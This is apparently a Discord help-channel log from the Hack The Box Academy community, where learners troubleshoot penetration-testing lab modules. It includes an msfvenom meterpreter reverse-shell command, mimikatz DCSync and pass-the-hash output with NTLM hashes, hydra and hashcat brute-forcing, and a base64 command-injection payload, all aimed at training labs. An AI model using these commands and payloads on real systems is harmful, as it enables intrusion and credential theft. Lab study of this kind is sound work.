How you can connect to the machines that you spawn in htb!

[next garnet]

did you quote everything properly?

[tall zodiac]

Thank god, it only took me five hours but I can actualy do the part thats supposed to be fukcing hard

[next garnet]

some commands in the module doesnt work for me. i had to quote it

[next garnet]

anyone? probably just me seeing this

[manic onyx]

As in the xfreerdp command? I think the rdp connection goes through but all I have ever gotten is a black screen.

Normally I just have to wait a few minutes on the other machines to RDP and the black screen goes away, but that just has never happened even after like an hour of waiting on this one, it is bizarre

[next garnet]

oh, i get that pretty often. you have to retry, and switch vpn

sometimes i have to retry the same thing 20 times before it works

[ruby whale]

Module XSS Section Phishing
I ran the xsstrike and got payload escape character as '> but couldnot understand why is '> escape character instead of ">

[tall zodiac]

creating the instance is taking hella long

[topaz holly]

God damn I finally got the password cracked. The module gives examples of hashcat but they DO NOT WORK. I used msf to output a jtr hash file and rip the hash from there with the top million password dictionary.

[tall zodiac]

hahaha

Also the box is taking forever to load

[cursive cradle]

Ppl still having some issues with the load time of the instances it seems

[tall zodiac]

damn

[cursive cradle]

For me is working fine for now

[cursive cradle]

[proud pine]

[ruby whale]

😅

[topaz holly]

The rage was real 😭

[tall zodiac]

Hey how do you install Nmap?

cause i tried "rpm -vhU https://nmap.org/dist/nmap-7.94-1.x86_64.rpm" but it aint working

[ruby whale]

Did you try sudo apt install nmap

[tall zodiac]

huh

will do

[agile torrent]

black screen usually means the remote computer went to sleep

when on the black screen try hitting enter a few times

[agile torrent]

yeah i dont think you're gonna have a very fun time trying to do this on ubuntu, you'll have to install most of the tools its talking about

[tall zodiac]

eh

its not that bad

[agile torrent]

id recommend parrot or kali, kalis more supported but parrots affiliated with htb

[tall zodiac]

just kinda sudo apt install

oh god time to reinstall everything

[agile torrent]

up to you ofc, i just find installing shit tedious

[tall zodiac]

thats fiar

which one would you recomend for a complete linux idiot?

[agile torrent]

parrots not too bad, you're just using it for htb right?

[tall zodiac]

yeah

[agile torrent]

its the same os as on the pwnbox, so if you've come from that, might be an idea

[tall zodiac]

got a link?

[agile torrent]

https://parrotsec.org/docs/virtualization/install-parrot-on-virtualbox/

[tall zodiac]

thanks

[agile torrent]

the iso downloads just on the parrot website, think theres a htb specific version

[cursive cradle]

Wow last time I checked there wasnt an HTB specific ver.

And there is it now

wait jan 24 2024, release date

nvm

thats just the ver

[agile torrent]

for some reason it doesn't have a search bar like the normal parrot, but that could just be a skill diff on my part

[tall zodiac]

omg they have torrent, thats illegal, oh no guys

[agile torrent]

[cursive cradle]

Idk what happened to my VM cause it dissapeared so sudden after updating it (was VMware workstation), gonna use VirtualBox this time

[tall zodiac]

"Unattended Guest OS install setup"?

[agile torrent]

wheres this showing up?

[tall zodiac]

Scratch that fixed it

That doccumentation was really good

Thanks man

AND IT ONLY TOOK ME 7 HOURS

[agile torrent]

👏👏

you got this

[compact fable]

how many of us got jobs from htb ?

[next bronze]

everyone in this server is a htb employee

[topaz holly]

I like to install to a USB instead of use a VM. Been using pwnbox for academy though cause it's all in one place.

[hoary depot]

lmao

[compact fable]

https://tenor.com/view/wojak-wojak-sad-summer-finna-be-a-movie-gif-18724859

[snow zodiac]

hey wassup i ran my own payload on my main comp just to test it out so i hope nothing happens to it right ? (i made the payload in kali machine and used victim comp as my main)

[novel rover]

Hello all!
I'm stuck with: module/67/section/642
Windows Privilege Escalation -> SeTakeOwnershipPrivilege
Task: Leverage SeTakeOwnershipPrivilege rights over the file located at "C:\TakeOwn\flag.txt" and submit the contents
But the current user (htb-student) hasn't this privilege 'SeTakeOwnershipPrivilege' =/

[short hare]

Stuck on
ATTACKING COMMON APPLICATIONS: Attacking WordPress

Question:
Using the methods shown in this section, find another system user whose login shell is set to /bin/bash.

I have found the two users with admin access admin and dXXX and also the flag, but can't find the user for the above.
Needs a little nudge..!!

[next bronze]

check /etc/passwd

[next bronze]

reset the target

[novel rover]

Reset 3 times, without changes 😦

[next bronze]

oh, read the section on how to enable it

[novel rover]

This privilege can be enabled if it is in the "Disabled" status. In my case, the user basically doesn’t have it

cat

[short hare]

ahh sorry sorry

[placid edge]

open powershell as administrator

[short hare]

Thanks..!

[short hare]

Thanks..!

[novel rover]

Thank you!

[next bronze]

nice was gonna check it myself, been a while since I did that module

[short hare]

Hey !
When I try to connect to htb academy with the openvpn it gets connceted.
But after few minutes, it keeps geting restart
I delete the vpn file, download again, changed the server download again, but still showrestart. Until I shut down my entire VM and then again start it works.

Do anyone has any permanent solution for it?

[autumn pilot]

Reach out to support

[kind nest]

module211 section2274 . I have entered " admin*" as the answer that comes in the KQL query after the "user.name:" It is showing as a wrong answer. Also, is it posibble to upload a screenshot here?

[placid edge]

did it last night so it was fresh in my memory 😉

[novel finch]

Hello everyone! I am stuck on Nibbles as part of the Academy module "Getting Started". I'm essentially following the walkthrough and I'm getting as far as echoing an IP to monitor.sh but when I do monitor.sh is suddenly not recognised and if I try sudo it still asks for the password.

[rapid sparrow]

Navigate to http://[Target IP]:8000, open the "Search & Reporting" application, and find through SPL searches against all data the port that one of the two C2 callback server IPs used to connect to one of the compromised machines. Enter it as your answer.

[rapid sparrow]

Intrusion Detection With Splunk (Real-world Scenario)

I need some help for that, what I have done filter the C2 IP, and Compromised Machine IP with some rulename, but none of the port is right

[placid edge]

There is something i dont really understand. My user account is in the administrator group

but i can still not access the administrator folder?

i can clearly see my username when i do net localgroup administrator

[rapid sparrow]

ok, open a new powershell and run as administrator, and now use that powershell to access administrator folder

[placid edge]

it still asks me for a administrator password

oh

[fathom pendant]

use your password?

[placid edge]

brainfart

i was stuck on that it wanted the administrator password

didnt know i could just "for more options" and see my account

lol, that would have made things a lot faster. I was trying to pop shells on each

[tender acorn]

does any one know what the Weekly Streak bring. They say it gives special rewards. But what did this mean? and how high need the stack be? is there a public list?

[fathom pendant]

it hasn't been decided yet

[tender acorn]

thanks

[placid edge]

damn 90% done with the cpts

just as scared as i was when i started lol

[placid edge]

anyone done the + 0 Search the file system for a file containing a password. Submit the password as your answer. on windows privesc that could give a hand?

i've found a password in ||powershell logs|| but it isnt valid.

as well as i've tried the different techniques that they showed

maybe im missing something obvious but yeah

[placid edge]

i can send the password i am trying in dms to you

i just need a sanity check here

found it

i was in a directory to deep

[simple loom]

Hi everyone! I just finished the Skill Assessment for the "WINDOWS EVENT LOGS & FINDING EVIL" module. I completed all of the questions using the Get-WinEvent command. Should I practice investigating with the rest of the tools mentioned on the module (I guess that should be a bit more chunky, but I do not want to miss any important practice 😅 )?

[tranquil axle]

It doesn’t hurt to practice, but they are more for you to understand how to do it the slow way, the next modules will introduce you to SIEM solution that make working with logs much more comfortable and enjoyable

[rough acorn]

Is there an issue with Evil-WinRM? I am trying to connect with some creds I found with crackmapexec and even tried them with -x, but I am getting some SSL error with Evil-WinRM.

[fathom pendant]

Might need to update your openssl

[rough acorn]

I have latest on my parrot. Says 3.0.11

I also tried with the -S switch but neither works

Makes me wonder if it's the server having an older version

[gaunt rose]

Does "Life Left" also have a bug in your questions? No more timer appear for me, just the word "minute(s)"

[warped cloak]

Linux Privilege Escalation - Kernel Exploits
i downloaded the exploit to the machine and ran
gcc kernel_exploit.c -o kernel_exploit && chmod +x kernel_exploit
when i tried running ./kernel_exploit i get permission denied error

[autumn pilot]

Do you mind sending me a dm with the exploit you are trying with @warped cloak

[glacial mortar]

@warped cloak sudoed? su?

[warped cloak]

tried that still doesnt work

[quick magnet]

hi im on kerberos attack skill assessment question 2
Which machine has unconstrained delegation?
already has d* cred, but i can't use rdp
is it expected ?

[nimble hare]

I have troubles with Attacking Common Services - Attacking FTP. First question
I checked the solution but i can't get the same result, i think the machine is blocking some ports

[next bronze]

rdp isn't always available

[chrome wolf]

Hey all, I'm currently doing the Login Brite Forcing module and am having trouble with Service Authentication Brute Forcing. I've cracked the b.gates creds with hydra but when I attempt to authenticate via ssh I get an error message Permission denied (publickey). How do I solve this?

[rough acorn]

I am doing password mutation exercise in password attacks module and I generated a lot of words using the provided password list and rule as prescribed and removed doubles using the provided command
hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list
But after over 15 minutes I got no hits brute forcing the SSH for the user sam
netexec ssh 10.129.207.211 -u sam -p mut_password.list

[vital adder]

if you are having issue with the answer then hint you can't submit the $ thing as a part of the name lol but if you are having issue with RDP, from my note the *jack* user is one of the only user that can RDP i think

[quiet ember]

You're not supposed to use b.gates for this one, try using the employee name found in the previous assessment.

[quick magnet]

already try another way, i got s*
but now stuck in question 3

[vital adder]

hint you are on the right path but cut the first 17000 words of your mutated wordlist

[vital adder]

let move this part to DM to avoid spoiler if you still need help with that

[quick magnet]

ok

[chrome wolf]

hey mate, thanks but it's the first question which specifies b.gates? "Using what you learned in this section, try to brute force the SSH login of the user "b.gates" in the target server shown above. Then try to SSH into the server. You should find a flag in the home dir. What is the content of the flag?"

The error I get is:
$ ssh b.gates@94.237.54.75
The authenticity of host '94.237.54.75 (94.237.54.75)' can't be established.
ECDSA key fingerprint is SHA256:vLawvWBkAM0HMyfB8uEnoXPFYuOJmJsTT4U7R0+ApSc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '94.237.54.75' (ECDSA) to the list of known hosts.
b.gates@94.237.54.75: Permission denied (publickey).

[fathom pendant]

Go after a different service

[vital adder]

*with difference tools, cme and netexec can but isn't for brute forcing

[fathom pendant]

Ssh isn't a good target service to brute when others are available

[vital adder]

agreed, but on what every service brute forcing with netexec will be slow af

[fathom pendant]

Other services can be faster than ssh :)

Enumeration is always the key to success

[rough acorn]

that is a good idea, some test faster

[potent thorn]

Can someone advise if my syntax is correct for smtp-user-enum?
I'm trying to increase the default seconds to wait for a reply but nothing I do seems to work.
The options within the pwn box version say its -w n which when i specify a number it errors, the online version on pentest monkey website says its -t.

this is how i've tried
smtp-user-enum -M VRFY -D <Domain> -U namelist.txt -t 10 <target-host>
smtp-user-enum -w 10 -M VRFY -D <Domain> -U namelist.txt -t <target-host>

The first executes but doesnt change the query timeout value, and the 2nd doesnt execute at all

[faint rampart]

Is VRFY enabled in the first instance?

[potent thorn]

yeah it works manually when i conenct over telnet

[fathom pendant]

Specify -M vrfy, also I think it's a capital W for wait time, could be wrong though

[potent thorn]

huuuuuuh. it randomly worked wth

lower case w worked

[faint rampart]

Ouh marcie to the rescueee 🔥

[potent thorn]

but only if the -w 10 is specified after the -M VRFY option

it was upper case VRFY and lower case -w tbf, but putting the -w switch after the -M switch and it worked.

but thank you all anyway

[fathom pendant]

Ye

Some tools are weird about ordering

[rough acorn]

is it 17k after removing the doubles or before? I have been at it for a little while and I am still not getting a hit

[fathom pendant]

Removing the 17k after

the password Def exists ¯_(ツ)_/¯

[rough acorn]

I guess I'll just be more patient

[fathom pendant]

With hydra I specified 48 threads

[rough acorn]

great, my hydra version does not seem to support smb2 and my netexec version does not seem to multi thread very much

[lapis pelican]

I can't bear it any longer. The lab for this module (https://academy.hackthebox.com/module/112/section/1079) is performing very poor. Response time is very late and the RDP session keeps disconnecting and a click takes ton of time to actually respond. The NMAP scan was running for more than 1 hour with still 10% completion rate. It's been 3 days and I am not able to complete the lab even after knowing the solution because RDP session keeps on disconnecting because of network issue.
My internet is fine, do not suggest to check my internet.

[fathom pendant]

Ftp should be open

[covert helm]

hi

i need help

[fathom pendant]

Switch regions/to tcp download

[covert helm]

i think

[rough acorn]

it seemed rather slow, but I can give that a try

[fathom pendant]

It helps if you say what your issue is

[covert helm]

ping me if you can help me

[fathom pendant]

Can't help you if we don't know what your problem is

[covert helm]

i am making a machine my first machine

stuck in privilage esculation

[fathom pendant]

You mean pwning/rooting

[covert helm]

making my own machine for 200 dollar

[fathom pendant]

This channel isn't for the app.hackthebox.com content, it's for academy content

Read #welcome on how to access more of the server

[covert helm]

ok where should i go

inshort you can tell me

[rough acorn]

Seems like hydra is faster with multi threads than netexec, I got it now thanks

[fathom pendant]

In short, you know how to read :) idk what channel would be better if you're making content

[covert helm]

ok ok

i understand

[fathom pendant]

Maybe #1024429874246590575 if other channels that are only accessible via linking your htb account to the discord aren't what you're looking for

[lapis pelican]

Already did that.

[fathom pendant]

¯_(ツ)_/¯

[potent thorn]

specifying the domain also gave me a load of false positives so took me far longer to get the result than it should have 😭

[fathom pendant]

Yeah its tricky

[frosty spade]

Targets aren't spawning and the windows RDP was slow as hell also pivoting and tunneling is fubar seems like they have some issues to handle

[craggy wind]

Hello, can anyone help with the analysis machine?

[fathom pendant]

Verify/link your account following #welcome and you can access #1198325761795428464 and ask there

[fathom pendant]

Message support

[quiet ember]

Oh, I thought you were talking about the skill assessment

[quiet ember]

What did you use for your wordlist?

[fathom pendant]

The warning of permission denied, makes me think they didn't specify the port to bruteforce on

Especially considering it's a public ip

[chrome wolf]

thank you! you're right I had to specify the port as its not on 22, not had to use that flag before

[livid ether]

HI, anyone knows why in https://academy.hackthebox.com/module/18/section/80 the question 2 htb-stu+ its not correct if its the user of the process? tyy

[tranquil axle]

htb-stu+ is not the full name but it is cut off because there’s not enough space to display the full name (that’s why the + is there)

[livid ether]

oh

[rapid sparrow]

I want to ask

During our examination of the USN Journal within Timeline Explorer, we observed "uninstall.exe". The attacker subsequently renamed this file. Use Zone.Identifier information to determine its new name and enter it as your answer.

Introduction to Digital Forensics - Rapid Triage Examination & Analysis Tools
I have used powershell to export the csv but Idk how to find the renamed file

[unique palm]

Hi Guys im Stuck on the AD Skill Assessment 1:
Find cleartext credentials for another domain user. Submit the username as your answer.

I manged to RDP into MS01 but now i am completly lost

[tight mesa]

the spawning issue is driving me crazy, anyone is till having issue to spawn any lab machine?

[next bronze]

dump everything

[analog latch]

Hello, Having a problem with the "intro to assembly language module" on the "Debugging with GDB" witht eh "Download the attached file, and find the hex value in 'rax' when we reach the instruction at <_start+16>?" When I step through it before I even get to step 16 I get:
gef➤ si

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.

Any suggestions on what I am doing wrong?

I've tried re-dwnloading the gdb.zip file a couple times with no luck on getting further.

[unique palm]

Dumped lsa, got the NTLM for tpetty hash. However when using hashcat i get no result. Any idea?

||sudo hashcat -m 1000 fd37b6fec5704cadabb319cebf9e3a3a /usr/share/wordlists/rockyou.txt||

[next bronze]

find the clear text creds instead

[next bronze]

where are you setting the break point?

[analog latch]

_start

[next bronze]

start+16 doesn't mean 16 steps from start, check the values in the stack/registers

please ask before dming

[next bronze]

we can continue here, what do you have?

[analog latch]

0x401010 <_start+16>: "H1\300"

[next bronze]

read the question, what are they asking?

[analog latch]

The hex in the rax at +16 that shows a 0x0

[next bronze]

exactly

so find the hex value of the rax register, that's the answer

[dire abyss]

using the pwnbox, since it browser based, I noticed i cant efficently use certain hot keys

for example trying to use tmux and commands to split it vertically ( ctrl + B + " ) doesnt work

is there a way around this?

[next bronze]

use a vm

[analog latch]

Doesn't like the number it shows

[next bronze]

stop before the _start+16 instruction

[analog latch]

Ok I'm sitting here:

→ 0x40100a <_start+000a> xor rax, 0x21449
0x401010 <_start+0010> xor rax, rax

[next bronze]

that's not where you should stop

top before the _start+16 instruction, then look at the rax register. that's it

[analog latch]

The next step puts me here and the one after seg fault
→ 0x401013 add BYTE PTR [rax], a

[next bronze]

that's after

[fathom pendant]

next step
you're told previous step

hth

[next bronze]

the arrow is at _start+16, means that's the next instruction

it's also given in the section

Note: the instruction shown with the -> symbol is where we are at, and it has not yet been processed.

[analog latch]

One step and I am past itgef➤ b _start
gef➤ r
0x400ffe add BYTE PTR [rax], al
→ 0x401000 <_start+0000> movabs rax, 0x21796d6564616341
0x40100a <_start+000a> xor rax, 0x21449
0x401010 <_start+0010> xor rax, rax
gef➤ s
0x401000 <_start+0000> movabs rax, 0x21796d6564616341
0x40100a <_start+000a> xor rax, 0x21449
0x401010 <_start+0010> xor rax, rax
→ 0x401013 add BYTE PTR [rax], al
0x401015 add BYTE PTR [rax], al
0x401017 add BYTE PTR [rax], al

[solar cradle]

Hey everyone, I keep running logrotten and the exploit triggers but nothing ever gets written to /etc/bash_completion.d has anyone had this problem in the LPE module?

[next bronze]

where should you be looking to see the value inside the rax register?

[errant moss]

Yes, had some trouble with that. Got stuck for a long time before I got through it. DM

[analog latch]

gef➤ x/wx 0x401010 ?

[next bronze]

send a screenshot of your terminal

[next bronze]

is that all you see? scroll up

that's also the wrong place to stop at

[analog latch]

You want the registers?

[next bronze]

what's the question asking? do you want the registers?

[next bronze]

great, now you can see what's in rax, just go to the right instruction

also, your gef plugin probably didn't install probably, it's showing the instructions in base 16, you see _start+10, which is actually _start+16 in base 10

[analog latch]

gef➤ print $rax
$1 = 0x0

[next bronze]

step to the right instruction, and you don't have to print the register out, you can see what's in them in the screenshot above

[sterile epoch]

How to login to use bloodhound??

[fathom pendant]

there should be a provided password

in the module/section

[analog latch]

a s will take me here: 0x401013 as I showed above

[sterile epoch]

yea neo4j:HTB_@cademy_stdnt!

but it does not work

[fathom pendant]

¯_(ツ)_/¯

[next bronze]

go to the right instruction, then look here

[sterile epoch]

which type of session should I use xorg?

[fathom pendant]

idk

can you rdp to the target then run bloodhound from it?

[analog latch]

si not s

[sterile epoch]

I get this error when I try to login

[fathom pendant]

¯_(ツ)_/¯

idk man

[sterile epoch]

new error

[analog latch]

If this was such a pain fo rme, I know serious hate is coming for the remainder of this module. 😒

[sterile epoch]

I know its 3389

but xorg only has this

[fickle sparrow]

Hey guys, quick question here. How can be part of a group on htb labs? I am almost done with bug bounty path and I want to start doing more labs. I would like to be part of a team of my country... Venezuela

I mean in other words i want friends lmao

[next bronze]

read the sections and understand them. it's also important to know the difference between registers, stack and memory addresses

[fathom pendant]

you request to join a team on the labs thing

[fickle sparrow]

oh okok, thanks

[fathom pendant]

it's as simple as that, this channel isn't really related to labs; read #welcome to find out how to access more of the server

[fickle sparrow]

thank u admin

[fathom pendant]

not an admin

lmao

[fickle sparrow]

i know lmao. It was a small joke.. ❤️

[next bronze]

lies

[fathom pendant]

https://tenor.com/view/liar-gif-5182897

[solar cradle]

Shoutout to @errant moss for helping troubleshoot logrotten. You were a super big help.

[barren anvil]

Hello people

In the module network enumeration with nmap - submodule bypass security measures.

In the first example of firewall and ids / ips evasion

I've used some commands but I can't get the OS version

[livid atlas]

I too need some assistance with the thinking behind the JAVASCRIPT DEOBFUSCATION question: Try to Analyze the deobfuscated JavaScript code, and understand its main functionality. Once you do, try to replicate what it's doing to get a secret key. What is the key?"

[fathom pendant]

you'll need to unpack it

replace eval with print

[placid pier]

Stuck on Basic Bypasses of File Inclusion, it every technique I have tried is either "Illegal path specified! " or nothing in the box? suggestions?

[livid atlas]

I finally figured it out, about 10 seconds after asking. I have been trying to figure out what you mean with this suggestion as I kept seeing it. I dont know how or where I would be replacing eval with print.

[fathom pendant]

literally the first thing the minified/packed code has is eval(packed code)

using an online compiler you can do it pretty easy

i personally used programiz but i think the module has a fair few different ones

[fathom pendant]

don't dm without asking btw

[livid atlas]

Right right, thank you for the rule reminder.

[unique palm]

Okay i performed a dcsync with the tpetty user and got the Admin hash. Anyone know how i get the flag from the desktop?

[next bronze]

you have DA, literally anything works

[unique palm]

My DC Sync only gave me the NTLM Hash for Administrator, not a shell. How do i get a Shell on DC ?

[next bronze]

pass the hash

[unique palm]

How do i specify the DC as target for pth? I tried this so far without success:
||mimikatz # sekurlsa::pth /user:Administrator /domain:inlanefreight.htb /ntlm:27dedb1dab4d8545c6e1c66fba077da0||

[next bronze]

refer to the pass the hash sections in password attacks

[unique palm]

Looked it up still no success, here my output:
|| ```
mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\administrator' will be the user account

Object RDN : Administrator

** SAM ACCOUNT **

SAM Username : Administrator
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000200 ( NORMAL_ACCOUNT )
Account expiration :
Password last change : 4/11/2022 8:24:49 PM
Object Security ID : S-1-5-21-2270287766-1317258649-2146029398-500
Object Relative ID : 500

Credentials:
Hash NTLM: **
ntlm- **
ntlm- 1: bdaffbfe64f1fc646a3353be1c2c3c99
lm - 0: 757743529af55e110994f3c7e3710fc9

mimikatz # sekurlsa::pth /user:Administrator /domain:inlanefreight.htb /ntlm:*++/run:cmd.exe
user : Administrator
domain : inlanefreight.htb
program : cmd.exe
impers. : no
NTLM : **
| PID 332
| TID 4116
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
ERROR kuhl_m_sekurlsa_pth_luid ; memory handle is not KULL_M_MEMORY_TYPE_PROCESS``` ||

[fathom pendant]

you should probably redact the hash from this btw

also it's easier to parse if you do ``` before and after the block

so it would be like
||```
output
```||

[rustic sage]

Hey yall, I'm having trouble finding the correct output of the following command: find /usr/share/ | grep root | grep mysql | tail -n 1

I've tried URL encoding, base64 encoding, substituting the spaces with %0a or %09. It seems that the DB is not recognizing any pipe commands, "|" or "<<<".
I've tried many commands but this is my current one > ip=127.0.0.1%0ab'as'hPDw8Cg$(ba'se'64%0a-dPDw8CgZmluZCAvdXNyL3NoYXJlLyAtbmFtZSAnKnJvb3QqJyAtbmFtZSAnKm15c3FsKicgfCB0YWlsIC1uIDEK)
https://academy.hackthebox.com/module/109/section/1039

[unique palm]

done both 🙂

[rustic sage]

Nvm, I got it. Make sure there aren't any unwanted spaces at the beginning or end of you commands when encoding your payloads

[wanton idol]

Hey guys, i pivoted into a machine and also found creds to log into mssql and i have sysadmin role in mssql and i can see seImpersonatePrivilege is enabled and i can use xp_cmdshell, how can i get a rev shell from my own local computer?

i ssh into the first user then from that user i pivoted into the windows box

[hazy grotto]

What are you working on?

[hazy grotto]

I'm not quite sure but these seems like the creds for bloodhound and you are using them to try and rdp? I think you have the creds mixed up

[hazy grotto]

Nice, i was just about to message you.

[rustic sage]

Going through the skills assessment of the same module now. Hopefully I can do it without any assistance fingers-crossed

[hazy grotto]

Can you rdp with the hash?

Maybe win-rm or cme?

[hazy grotto]

What module and section are you on?

[wanton idol]

AD Enumeration & Attacks - Skills Assessment Part II

[hazy grotto]

Which question?

[wanton idol]

Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host

[fluid basin]

in the pivoting tunneling module I have gained a shell with dnscat2 however it wont accept any of my commands it just gives me a prompt of exec (OFFICEMANAGER) 1>

[fathom pendant]

I mean if you have admin for sql you can read files on its system

[hazy grotto]

DId you get the "A**** "account

[wanton idol]

ik but when i type to see the directories for example xp_cmdshell dir C:\Users\Administrator\Desktop it shows permissions denied

[wanton idol]

ends with 20?

[hazy grotto]

Yes

[wanton idol]

yeah

and B****

and n**

[fathom pendant]

This isn't the right place to ask, #starting-point is. If you see "no access" read #welcome

[hazy grotto]

Try evil with those creds with the correct ip address

[tall zodiac]

kk

[hazy grotto]

Did you get a list of ip addresses?

[wanton idol]

yeah man i already connected to the ms01 with A user

[hazy grotto]

Then you got the flag?

[wanton idol]

but this is for the sql01

[hazy grotto]

YOu should be done with that question.

[wanton idol]

three machines one the dc, the other one is ms01 and the last one is sql10

i have to get the flag from the sql10 machine

[hazy grotto]

The question says get the flag for MS01?

[wanton idol]

^

question 7

[hazy grotto]

My bd

[wanton idol]

lol you good

[hazy grotto]

user - B**** ???

YOu get?

[wanton idol]

yeah i did

that user dont connect to anything in sql01 machine only rdp in ms01 machine

[hazy grotto]

You get the web.config?

[fluid basin]

can somone give me a hint as to how to enter commands into the dnscat2 prompt once i gained a shell?

[wanton idol]

yeah i did

i already got the creds to enter mssql

[hazy grotto]

Those are the creds for n****?

[wanton idol]

but being able to have the perms to access administrator via mssql is the question

[hazy grotto]

"n****

idk why it keeps subracting the stars.

"n****"

[wanton idol]

i tried xp_cmdshell dir C:\Users\Administrator but it gives me permission error while im on the n** user

[fathom pendant]

Discord formatting

Can that user impersonate anyone?

[hazy grotto]

You try mssqlclient.py?

[wanton idol]

idk, i tried the impersonation module via msconsole but it said it cant since im already the highest priv user

[hazy grotto]

With the correct ip?

[wanton idol]

yeah bro i connected to the correct ip address corosponding to sql01 machine

with mssqlclient.py

[bleak lantern]

Sup? Anyone that Already did "INTRODUCTION TO DIGITAL FORENSICS" wanna share some ideas? I just ended the module assessment but I am pretty sure I did in a way not intended by the Module Creator

[hazy grotto]

Typical, Had pretty good notes until this part.

It appears at one point i created a reverseshell with msfvenom

$msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.7.240 LPORT=8080 -f exe > rshell.exe

[wanton idol]

but then how can i upload that reverse shell to the windows box?

bc it cant reach my local ip

[hazy grotto]

You see the listening host IP address?

[wanton idol]

yeah im assuming that would be where i pivoted from the first machine

but what i meant was like how can i upload the shell into the sql machine

[next bronze]

pivot

[wanton idol]

like do i first upload it to the ms01 machine

i already pivot

[hazy grotto]

What type of machine is that .240?

Linux or windows?

[wanton idol]

idk i get a diff set of ip

[fathom pendant]

You shouldn't? AFAIK the internal network should be static

[hazy grotto]

Run this - $fping -asgq 172.16.7.0/23

[wanton idol]

give me a sec my machine died

[hazy grotto]

When taking your notes. It would be a good idea to write down all these IP addressess and try to label them distinctively as you go.

But im still a rookie. but thats why i had to start doing to keep track.

[fathom pendant]

It's just good practice anyway

[bleak lantern]

Anyone interested can DM me.

[wanton idol]

yeah i wrote down all the ips but the linux one so im guessing that would be the linux

[fathom pendant]

Drawing a network diagram helps you keep things down

[hazy grotto]

I believe it would be. Something I wasn't doing for awhile.

Ok go into the linux machine, see if it has msfconsole already on it.

[fathom pendant]

Alongside the network, a list of known credentials on the machine

[hazy grotto]

If i remember, alot of these linux machines already had alot of tools

[hazy grotto]

Oh yeah.

[fathom pendant]

For ease of use if you didn't wanna bother setting a multi-network pivot

[wanton idol]

oh yeah it does

[hazy grotto]

What do you think you need to do then?

[wanton idol]

i think i got it from here

[hazy grotto]

Alright good luck!

[wanton idol]

THANK YOUUU

[rustic sage]

I'm having a hard time figuring out where the injection point is on for the skills assessment in Command Injections. Any hints?

[hazy grotto]

Using burp?

[rustic sage]

Yea

I've tried the login, the tmp folder, copying to the tmp folder, using the search bar....

[hazy grotto]

You want to mv or copy to the tmp folder i think.

[rustic sage]

Yea I've been looking into that...

The responses are so long though

And cluttered

[hazy grotto]

Look around here.

[rustic sage]

Thanks for the tip

[rustic sage]

Got any more tips?

Is it in the GET request?

[hazy grotto]

Won’t be able to help for another 12 hours. Afk for awhile. DM if you still need help around then, what you’ve tried with screenshots.
#good luck

Should be able to put the injection in the request and get the output where I screenshot for you

[rustic sage]

I see the output and believe I have the right spot for the commands, it'll just take some time

[cobalt trench]

Footprinting MySQL I get this error. Anybody know why?

Also getting the same error during nmap

[tranquil whale]

[normal sand]

If I take and complete a tier 0 module while having a subscription that automatically unlocks up to tier 2 modules, do I get the 10 cubes from the tier 0 module?

[next bronze]

yep

[normal sand]

Thanks

[fierce veldt]

This ffuf module is nice and slow love that

[fierce veldt]

Why is my ping to HTB academy like 150 rn? My wifi speeds are just fine.

Causing like 80-90% of ffuf requests to fail completely.

[rustic sage]

Problems witht hte servers

Known issue

[cursive cradle]

Been like that lately

[quasi gust]

@rapid sparrow could you kindly check my DMs ?

[rapid sparrow]

Ummm

[static karma]

I did complete the lab questions (with walk-through) but I still seem to understand what this whole module is trying to teach. (footprinting DNS is slightly better)

I know this command is trying to subbrute the 10k names using the resolver, but where do I source the resolver from? (specifically the lab session)
./subbrute inlanefreight.com -s ./names.txt -r ./resolvers.txt

I saw some comments saying ns.inlanefreight.htb means name server but why ns1 but not ns or ns2??

send send plz 😦

[ruby whale]

Ns1 or ns2 or ns is based on information you gathered about nameservers.

[ruby whale]

Should post this in #858470491676737536 ?

[acoustic owl]

In this case, the name server is the target IP.
Remember that inlanefreight.com and inlanefreight.htb are not the same thing

If you want to learn more about DNS, read the Cloudflare blog
https://www.cloudflare.com/learning/dns/what-is-dns/

[ebon jasper]

Hello everyone!
I am in retired swagshop machine
Help me with this I can't escape from this error, I watched official video, followed official write up, I watched more than 4 video, but I can't fix this problem

I have username and password, I write username and password inside of exploit python code

[fathom pendant]

this channel isn't for retired machines my dude

#boxes

[ebon jasper]

Oh sorry I understood

[fathom pendant]

this channel is explicitly for academy modules

[cedar forum]

guys, what command do i use to install tmux in parrotOS home?

i used apt install tmux and it said it couldn't find the package

[quick orbit]

hi

[lusty thicket]

what have you tried?

[obtuse verge]

can i DM?

[upper ruin]

Alright, so: I am at the Pivoting, tunneling module: Hypothetically: When I have a skill assessment in some other module. Can I do the same pivoting ,port-forwarding and tunelling in the future?
It's a lot better for me to act from my terminal via proxychains, when I know all of that gets forwarded anyway. Can I apply that in the future modules or is that available only for this module?

It's just super convenient from what I see.

[next bronze]

yes, that's what pivoting is for, you can use it whenever you want to get access to an internal network

[upper ruin]

Huge W.

Ty sir.

[fathom pendant]

using ligolo-ng is 1000x better than proxychains stuff

[gilded sundial]

Can anyone help me?

[fathom pendant]

if you actually articulate what your problem is

[upper ruin]

Shoot it if it's module related.

[upper ruin]

Ima check it out.

[gilded sundial]

A noob scammer is trying to scam me, I'm acting like I'm a stupid person, what should I do next to find his details... Basically I'm new in this field

I have Kali Linux btw

[upper ruin]

What...?

[fathom pendant]

#rules

[gilded sundial]

Huh

[fathom pendant]

just report the scammer to discord

[gilded sundial]

He is texting me on WhatsApp

[upper ruin]

.........

[fathom pendant]

then ignore them dude

[upper ruin]

Block.

[gilded sundial]

he is ready to click any link

[fathom pendant]

hacking someone; even if they're scammers -- is illegal

[rapid sparrow]

$ sudo heck scammer

[gilded sundial]

🙂

[fathom pendant]

ik you've probably seen people like ScammerPayback and such creating reverse connections to scammers

[gilded sundial]

Yes

[fathom pendant]

but they are operating in a grey perview of the law

they provide any evidence they find directly to the authorities

if you have 0 idea what you're doing you are gonna find yourself in hot water really quick

[upper ruin]

Yeah, they have legal teams behind them.

